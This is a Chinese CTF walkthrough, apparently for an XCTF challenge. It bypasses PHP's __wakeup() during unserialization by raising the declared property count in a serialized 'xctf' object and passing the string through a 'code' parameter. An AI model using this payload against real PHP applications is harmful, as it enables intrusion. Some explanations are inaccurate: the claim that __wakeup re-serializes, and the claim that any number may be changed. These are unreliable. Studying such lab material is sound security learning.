打开链接得到:
题目提醒是反序列化漏洞
这里有详细讲解反序列化漏洞:
【PHP】反序列化漏洞
写一段代码执行
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//少了一个}
$a=new xctf();
echo(serialize($a));
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
- 1
如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他
利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
所以此处修改任何数值都可以
比如说把4改成3,1改成2
得到flag
注意加上/?code=
评论记录:
回复评论: